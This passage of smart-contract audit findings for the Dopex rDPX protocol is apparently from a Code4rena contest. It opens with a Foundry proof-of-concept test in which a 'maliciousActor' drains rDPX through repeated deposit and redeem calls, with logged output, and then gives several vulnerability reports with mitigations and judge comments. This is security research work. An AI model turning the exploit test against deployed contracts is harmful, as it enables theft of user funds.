GENERAL NUMBER UTILITIES //////////////////////////////////////////////////////////////*/ function sqrt(uint256 x) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { let y := x // We start y at x, which will help us make our initial estimate. z := 181 // The "correct" value is 1, but this saves a multiplication later. // This segment is to get a reasonable initial estimate for the Babylonian method. With a bad // start, the correct # of bits increases ~linearly each iteration instead of ~quadratically. // We check y >= 2^(k + 8) but shift right by k bits // each branch to ensure that if x >= 256, then y >= 256. if iszero(lt(y, 0x10000000000000000000000000000000000)) { y := shr(128, y) z := shl(64, z) } if iszero(lt(y, 0x1000000000000000000)) { y := shr(64, y) z := shl(32, z) } if iszero(lt(y, 0x10000000000)) { y := shr(32, y) z := shl(16, z) } if iszero(lt(y, 0x1000000)) { y := shr(16, y) z := shl(8, z) } // Goal was to get z*z*y within a small factor of x. More iterations could // get y in a tighter range. Currently, we will have y in [256, 256*2^16). // We ensured y >= 256 so that the relative difference between y and y+1 is small. // That's not possible if x < 256 but we can just verify those cases exhaustively. // Now, z*z*y <= x < z*z*(y+1), and y <= 2^(16+8), and either y >= 256, or x < 256. // Correctness can be checked exhaustively for x < 256, so we assume y >= 256. // Then z*sqrt(y) is within sqrt(257)/sqrt(256) of sqrt(x), or about 20bps. // For s in the range [1/256, 256], the estimate f(s) = (181/1024) * (s+1) is in the range // (1/2.84 * sqrt(s), 2.84 * sqrt(s)), with largest error when s = 1 and when s = 256 or 1/256. // Since y is in [256, 256*2^16), let a = y/65536, so that a is in [1/256, 256). Then we can estimate // sqrt(y) using sqrt(65536) * 181/1024 * (a + 1) = 181/4 * (y + 65536)/65536 = 181 * (y + 65536)/2^18. // There is no overflow risk here since y < 2^136 after the first branch above. z := shr(18, mul(z, add(y, 65536))) // A mul() is saved from starting z at 181. // Given the worst case multiplicative error of 2.84 above, 7 iterations should be enough. z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) // If x+1 is a perfect square, the Babylonian method cycles between // floor(sqrt(x)) and ceil(sqrt(x)). This statement ensures we return floor. // See: https://en.wikipedia.org/wiki/Integer_square_root#Using_only_integer_division // Since the ceil is rare, we save gas on the assignment and repeat division in the rare case. // If you don't care whether the floor or ceil square root is returned, you can remove this statement. z := sub(z, lt(div(x, z), z)) } } function unsafeMod(uint256 x, uint256 y) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Mod x by y. Note this will return // 0 instead of reverting if y is zero. z := mod(x, y) } } function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 r) { /// @solidity memory-safe-assembly assembly { // Divide x by y. Note this will return // 0 instead of reverting if y is zero. r := div(x, y) } } function unsafeDivUp( uint256 x, uint256 y ) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Add 1 to x * y if x % y > 0. Note this will // return 0 instead of reverting if y is zero. z := add(gt(mod(x, y), 0), div(x, y)) } } } /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) abstract contract ERC20 { /*////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); /*////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor(string memory _name, string memory _symbol, uint8 _decimals) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve( address spender, uint256 amount ) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer( address to, uint256 amount ) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ), v, r, s ); require( recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER" ); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } contract PerpetualAtlanticVaultLP is ERC20 { // using SafeERC20 for IERC20WithBurn; // using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; // ================================ EVENTS ================================ // event Deposit( address indexed caller, address indexed owner, uint256 assets, uint256 shares ); event Withdraw( address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares ); // ================================ STATE VARIABLES ================================ // /// @dev The address of the perpetual Atlantic Vault contract creating the lp token // IPerpetualAtlanticVault public perpetualAtlanticVault; /// @dev The collateral token ERC20 public collateral; /// @dev The symbol reperesenting the underlying asset of the perpetualatlanticvault lp string public underlyingSymbol; /// @dev The symbol representing the collateral token of the perpetualatlanticvault lp string public collateralSymbol; /// @dev Total collateral available uint256 private _totalCollateral; /// @dev Active collateral uint256 private _activeCollateral; /// @dev Total rdpx available uint256 private _rdpxCollateral; /// @dev address of rdpx token address public rdpx; /// @dev address of the rdpx rdpxV2Core contract address public rdpxRdpxV2Core; // ================================ CONSTRUCTOR ================================ // constructor() ERC20("PerpetualAtlanticVault LP Token", "_collateralSymbol", 18) { // require( // _perpetualAtlanticVault != address(0) || _rdpx != address(0), // "ZERO_ADDRESS" // ); // perpetualAtlanticVault = IPerpetualAtlanticVault(_perpetualAtlanticVault); // rdpxRdpxV2Core = _rdpxRdpxV2Core; // collateralSymbol = _collateralSymbol; // rdpx = _rdpx; // collateral = ERC20(_collateral); // symbol = string.concat(_collateralSymbol, "-LP"); // collateral.approve(_perpetualAtlanticVault, type(uint256).max); // ERC20(rdpx).approve(_perpetualAtlanticVault, type(uint256).max); } // ================================ PUBLIC FUNCTIONS ================================ // /** * @notice deposit into ERC4626 token * @param assets assets * @param receiver receiver * @return shares shares of LP tokens minted */ function deposit( uint256 assets, address receiver ) public virtual returns (uint256 shares) { // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); // perpetualAtlanticVault.updateFunding(); // Need to transfer before minting or ERC777s could reenter. // collateral.transferFrom(msg.sender, address(this), assets); _mint(receiver, shares); _totalCollateral += assets; emit Deposit(msg.sender, receiver, assets, shares); } /** * @notice redeem ERC4626 token * @param shares shares * @param receiver receiver * @param owner owner * @return assets native tokens to be received * @return rdpxAmount rdpx tokens to be received */ function redeem( uint256 shares, address receiver, address owner ) public returns (uint256 assets, uint256 rdpxAmount) { // perpetualAtlanticVault.updateFunding(); if (msg.sender != owner) { uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) { allowance[owner][msg.sender] = allowed - shares; } } (assets, rdpxAmount) = redeemPreview(shares); // Check for rounding error since we round down in previewRedeem. require(assets != 0, "ZERO_ASSETS"); _rdpxCollateral -= rdpxAmount; beforeWithdraw(assets, shares); _burn(owner, shares); // collateral.transfer(receiver, assets); // IERC20WithBurn(rdpx).safeTransfer(receiver, rdpxAmount); emit Withdraw(msg.sender, receiver, owner, assets, shares); } function addRdpx(uint256 amount) public { // require( // IERC20WithBurn(rdpx).balanceOf(address(this)) >= _rdpxCollateral + amount, // "Not enough rdpx token was sent" // ); _rdpxCollateral += amount; } // ================================ INTERNAL FUNCTUONS ================================ // function _convertToAssets( uint256 shares ) internal view virtual returns (uint256 assets, uint256 rdpxAmount) { uint256 supply = totalSupply; return (supply == 0) ? (shares, 0) : ( shares.mulDivDown(totalCollateral(), supply), shares.mulDivDown(_rdpxCollateral, supply) ); } function _beforeTokenTransfer( address from, address, uint256 ) internal virtual {} // ================================ VIEWS ================================ // /// @notice Returns the total active collateral function activeCollateral() public view returns (uint256) { return _activeCollateral; } /// @notice Returns the total collateral function totalCollateral() public view returns (uint256) { return _totalCollateral; } /// @notice Returns the total rdpx collateral function rdpxCollateral() public view returns (uint256) { return _rdpxCollateral; } /// @notice Returns the total available collateral function totalAvailableCollateral() public view returns (uint256) { return _totalCollateral - _activeCollateral; } // ================================ PUBLIC VIEW FUNCTIONS ================================ // /// @notice Returns the amount of collateral and rdpx per share function redeemPreview( uint256 shares ) public view returns (uint256, uint256) { return _convertToAssets(shares); } /// @notice Returns the amount of shares recieved for a given amount of assets function previewDeposit(uint256 assets) public view returns (uint256) { return convertToShares(assets); } /// @notice Returns the amount of shares recieved for a given amount of assets function convertToShares( uint256 assets ) public view returns (uint256 shares) { uint256 supply = totalSupply; uint256 rdpxPriceInAlphaToken = 1e6; // fixed price for demo purpose perpetualAtlanticVault.getUnderlyingPrice(); uint256 totalVaultCollateral = totalCollateral() + ((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8); return supply == 0 ? assets : assets.mulDivDown(supply, totalVaultCollateral); } function beforeWithdraw(uint256 assets, uint256 /*shares*/) internal { require( assets <= totalAvailableCollateral(), "Not enough available assets to satisfy withdrawal" ); _totalCollateral -= assets; } } contract VaultLPTest is Test { PerpetualAtlanticVaultLP perpetualAtlanticVaultLP; address users = vm.addr(1); address maliciousActor = vm.addr(2); function setUp() public { perpetualAtlanticVaultLP = new PerpetualAtlanticVaultLP(); } function test_deposit_redeem() public { vm.startPrank(users); perpetualAtlanticVaultLP.deposit(50e18, users); // add some deposit vm.stopPrank(); perpetualAtlanticVaultLP.addRdpx(20e18); // add some rdpx console.log( "totalCollateral Before: %d ", perpetualAtlanticVaultLP.totalCollateral() ); console.log( "rdpxCollateral Before: %d ", perpetualAtlanticVaultLP.rdpxCollateral() ); uint256 maliciousActorRDPXBalance; console.log("==Attack starts here=="); console.log("One TX, deposit and redeem, repeat 3 times"); vm.startPrank(maliciousActor); uint256 assets = 100e18; // start with 100 uint256 rdpxAmount; uint256 shares = perpetualAtlanticVaultLP.deposit( assets, maliciousActor ); (assets, rdpxAmount) = perpetualAtlanticVaultLP.redeem( shares, maliciousActor, maliciousActor ); maliciousActorRDPXBalance += rdpxAmount; // repeat #1 shares = perpetualAtlanticVaultLP.deposit(assets, maliciousActor); (assets, rdpxAmount) = perpetualAtlanticVaultLP.redeem( shares, maliciousActor, maliciousActor ); maliciousActorRDPXBalance += rdpxAmount; // repeat #2 shares = perpetualAtlanticVaultLP.deposit(assets, maliciousActor); (assets, rdpxAmount) = perpetualAtlanticVaultLP.redeem( shares, maliciousActor, maliciousActor ); maliciousActorRDPXBalance += rdpxAmount; // repeat #3 shares = perpetualAtlanticVaultLP.deposit(assets, maliciousActor); (assets, rdpxAmount) = perpetualAtlanticVaultLP.redeem( shares, maliciousActor, maliciousActor ); maliciousActorRDPXBalance += rdpxAmount; console.log("==Attack ends here=="); console.log( "totalCollateral After: %d ", perpetualAtlanticVaultLP.totalCollateral() ); console.log( "rdpxCollateral After: %d ", perpetualAtlanticVaultLP.rdpxCollateral() ); // Attacker now has 19749607529375632688 => approx. 19.7 rDPX console.log( "maliciousActor rDPX balance: %d ", maliciousActorRDPXBalance ); } }
output:
[PASS] test_deposit_redeem() (gas: 205808) Logs: totalCollateral Before: 50000000000000000000 rdpxCollateral Before: 20000000000000000000 ==Attack starts here== One TX, deposit and redeem, repeat 3 times ==Attack ends here== totalCollateral After: 50197496075293756328 rdpxCollateral After: 250392470624367312 maliciousActor rDPX balance: 19749607529375632688
Manual analysis
So the Mitigation here depends on how the sponsor would like the protocol to function. One possibility is to avoid activating reLP if a sudden change in rDPX amount occurs in VaultLP. This can be done by tracking rdpxBalance of the VaultLP in reLP contract over a period of time (for example the balance 1 minute ago, 5 minute ago ..etc.) and take the average of it. If the average is too big, then skip reLP because we know the price drops unnaturally from selling this big amount or at least give the admin the option to confirm reLP regardless the reason of price drop.
Another possibility is not to allow deposit, redeem in the same TX multiple times, this is will allow the fetched price of rdpx to be updated. Therefore, making this attack not realsitic/reliable and more expensive.
Other
#0 - c4-pre-sort
2023-09-10T07:18:03Z
bytes032 marked the issue as low quality report
#1 - GalloDaSballo
2023-10-03T07:12:18Z
This seems legitimate
It would ultimately depend on the rate of exchange in the vault vs the market
#2 - c4-judge
2023-10-20T08:43:05Z
GalloDaSballo marked the issue as duplicate of #2130
#3 - c4-judge
2023-10-20T19:41:52Z
GalloDaSballo changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-10-20T19:41:58Z
GalloDaSballo marked the issue as satisfactory
238.7514 USDC - $238.75
In PerpetaulAtlanticVaultLP, users can redeem()
LP token to receive collateral token (e.g. WETH) and rdpx. To calculate how many the user should receive from each, redeemPreview
is called L159-L160
(assets, rdpxAmount) = redeemPreview(shares);
If assets are zero, then revert L161-L163
// Check for rounding error since we round down in previewRedeem. require(assets != 0, "ZERO_ASSETS");
In this case, the user won't be able to redeem their rdpx. This becomes an issue if Weth balance is going so low and rdpx is going high due to losses where options are settled L346-L358
// Transfer collateral token from perpetual vault to rdpx rdpxV2Core collateralToken.safeTransferFrom( addresses.perpetualAtlanticVaultLP, addresses.rdpxV2Core, ethAmount ); // Transfer rdpx from rdpx rdpxV2Core to perpetual vault IERC20WithBurn(addresses.rdpx).safeTransferFrom( addresses.rdpxV2Core, addresses.perpetualAtlanticVaultLP, rdpxAmount );
So users with big shares will have no problem. However, once they redeem they are contributing to lowering the asset balance leaving users with small shares at risk of not being able to redeem at least rdpx.
If assets are zero, it reverts regardless of rdpx L161-L163
// Check for rounding error since we round down in previewRedeem. require(assets != 0, "ZERO_ASSETS");
Manual analysis
Consider giving an option to the user to redeem their share to rdpx in case the returned assets (eth) for the share is zero.
Other
#0 - c4-pre-sort
2023-09-15T06:14:59Z
bytes032 marked the issue as duplicate of #750
#1 - c4-judge
2023-10-15T18:03:15Z
GalloDaSballo marked the issue as satisfactory
655.0107 USDC - $655.01
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L894-L898 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L903-L907
bond
transaction could cost the user higher than expected.
bond
function doesn't have protection for the user. if the bond cost goes high before the TX is processed. more ETH and rDPX from the user will be taken.
In case a price change in rdpx or options suddenly according to the market volatility or other reasons, rdpxRequired
and wethRequired
that come out of calculateBondCost()
will be higher. The user could pay more than expected and cost a higher value, A protection for the user as a max price is mandatory so he pays till his max that he can afford, otherwise the transaction should revert.
As you see below in bond()
there is no max price param, the function only rely on the _amount
L894-L898
function bond( uint256 _amount, uint256 rdpxBondId, address _to ) public returns (uint256 receiptTokenAmount) {
The issue occur here at Compute the bond cost at L903-L907
(uint256 rdpxRequired, uint256 wethRequired) = calculateBondCost( _amount, rdpxBondId );
If the price of rDPX changed for any reason the user will pay more and that could be unfair to the user since he is expecting a specific rdpxRequired
& wethRequired
to be taken according to the current price.
Manual Review
bond()
calculateBondCost()
Other
#0 - c4-pre-sort
2023-09-13T10:31:37Z
bytes032 marked the issue as duplicate of #598
#1 - c4-pre-sort
2023-09-13T10:31:43Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T09:33:43Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: Vagner
Also found by: 0Kage, 0xCiphky, 0xnev, ABAIKUNANBAEV, Aymen0909, Evo, KmanOfficial, MohammedRizwan, T1MOH, Viktor_Cortess, Yanchuan, ak1, alexzoid, bin2chen, codegpt, hals, ladboy233, mrudenko, nemveer, oakcobalt, peakbolt, pep7siup, qbs, said, savi0ur, tapir, wintermute, zaevlad, zzebra83
7.8372 USDC - $7.84
In core contract, settle
is called to settles the options. It calls settle
function of perpetualAtlanticVault. This function returns amountOfWeth
and rdpxAmount
. After that, reserve balances are updated in core contract L779-L781
reserveAsset[reservesIndex["WETH"]].tokenBalance += amountOfWeth; reserveAsset[reservesIndex["RDPX"]].tokenBalance -= rdpxAmount;
Core contract assumes that the collateral token is WETH. based on that it deducts from WETH tokenBalance manually. However, according to the sponsor, the collateral token in perpetual vault could be any other token. In this case, this update will be wrong. Instead of this, the sync()
should be called to make sure that the collateral token balance is updated regardless of what it is (i.e. WETH or any other token).
In core contract, settle
function updating colleteral token reserve manually L779-L781
reserveAsset[reservesIndex["WETH"]].tokenBalance += amountOfWeth; reserveAsset[reservesIndex["RDPX"]].tokenBalance -= rdpxAmount;
In perpetual atlantic vault, _collateralToken is passed in the constructor. It doesn't assume it is WETH since it is reading the symbol and decimals.
collateralToken = IERC20WithBurn(_collateralToken); underlyingSymbol = collateralToken.symbol(); collateralPrecision = 10 ** collateralToken.decimals();
In perpetual atlantic vault LP, also there is no assumption that the collateral is WETH in the whole contract. in fact, there is a comment above the constructor saying "@param _collateral The address of the collateral asset in the perpetualatlanticvault contract" . So, this address is the same what is in perpetual atlantic vault.
The same applies to _purchaseOptions
and provideFunding
where premium
and fundingAmount
are deducted from WETH tokenBalance manually too
Manual analysis
Call sync()
instead. It syncs asset reserves with contract balances regardless of what the collateral token is. L995-L1009
function sync() external { for (uint256 i = 1; i < reserveAsset.length; i++) { uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf( address(this) ); if (weth == reserveAsset[i].tokenAddress) { balance = balance - totalWethDelegated; } reserveAsset[i].tokenBalance = balance; } emit LogSync(); }
Other
#0 - c4-pre-sort
2023-09-13T13:32:18Z
bytes032 marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-09-15T09:47:41Z
bytes032 marked the issue as duplicate of #269
#2 - c4-judge
2023-10-15T18:11:38Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: juancito
Also found by: 0xDING99YA, 0xTiwa, 0xkazim, 0xnev, ABA, ArmedGoose, Aymen0909, Bauchibred, Evo, IceBear, KrisApostolov, MohammedRizwan, Nikki, QiuhaoLi, T1MOH, Toshii, WoolCentaur, Yanchuan, __141345__, asui, bart1e, carrotsmuggler, catellatech, chaduke, codegpt, deadrxsezzz, degensec, dethera, dirk_y, erebus, ether_sky, gjaldon, glcanvas, jasonxiale, josephdara, klau5, kodyvim, ladboy233, lsaudit, minhquanym, parsely, peakbolt, pep7siup, rvierdiiev, said, savi0ur, sces60107, tapir, ubermensch, volodya, zzebra83
140.2087 USDC - $140.21
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L285-L287 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L545-L551
In purchase()
function, calculatePremium()
is called to get total premium for options being purchased L285-L287
// Get total premium for all options being purchased premium = calculatePremium(strike, amount, timeToExpiry, 0);
Calculated like this
OptionPrice * amount / 1e8
L545-L551
premium = ((IOptionPricing(addresses.optionPricing).getOptionPrice( _strike, _price > 0 ? _price : getUnderlyingPrice(), getVolatility(_strike), timeToExpiry ) * _amount) / 1e8);
If optionPrice and amount are both too low, the product of both could be less than 1e8 then premium will equal zero. If this happens, the user won't pay for the premium since it is zero.
The same applies to requiredCollateral
L275-L277
// Check if vault has enough collateral to write the options uint256 requiredCollateral = (amount * strike) / 1e8;
This is even more likely to occur because strike is 25% below the price. In this case, zero required collateral will be locked.
Check above code blocks with link provided.
Manual analysis
Check if premium
is zero then revert. The same for requiredCollateral
.
Other
#0 - bytes032
2023-09-15T12:33:04Z
The price part is related to #1012
#1 - c4-pre-sort
2023-09-15T12:33:10Z
bytes032 marked the issue as sufficient quality report
#2 - c4-sponsor
2023-09-25T18:54:56Z
psytama (sponsor) disputed
#3 - psytama
2023-09-25T18:54:57Z
min premium check is there in the option pricing contract.
#4 - GalloDaSballo
2023-10-11T11:50:53Z
@psytama I cannot verify your statement, could you please link to the line that performs the validation?
#5 - c4-judge
2023-10-20T19:46:03Z
GalloDaSballo changed the severity to QA (Quality Assurance)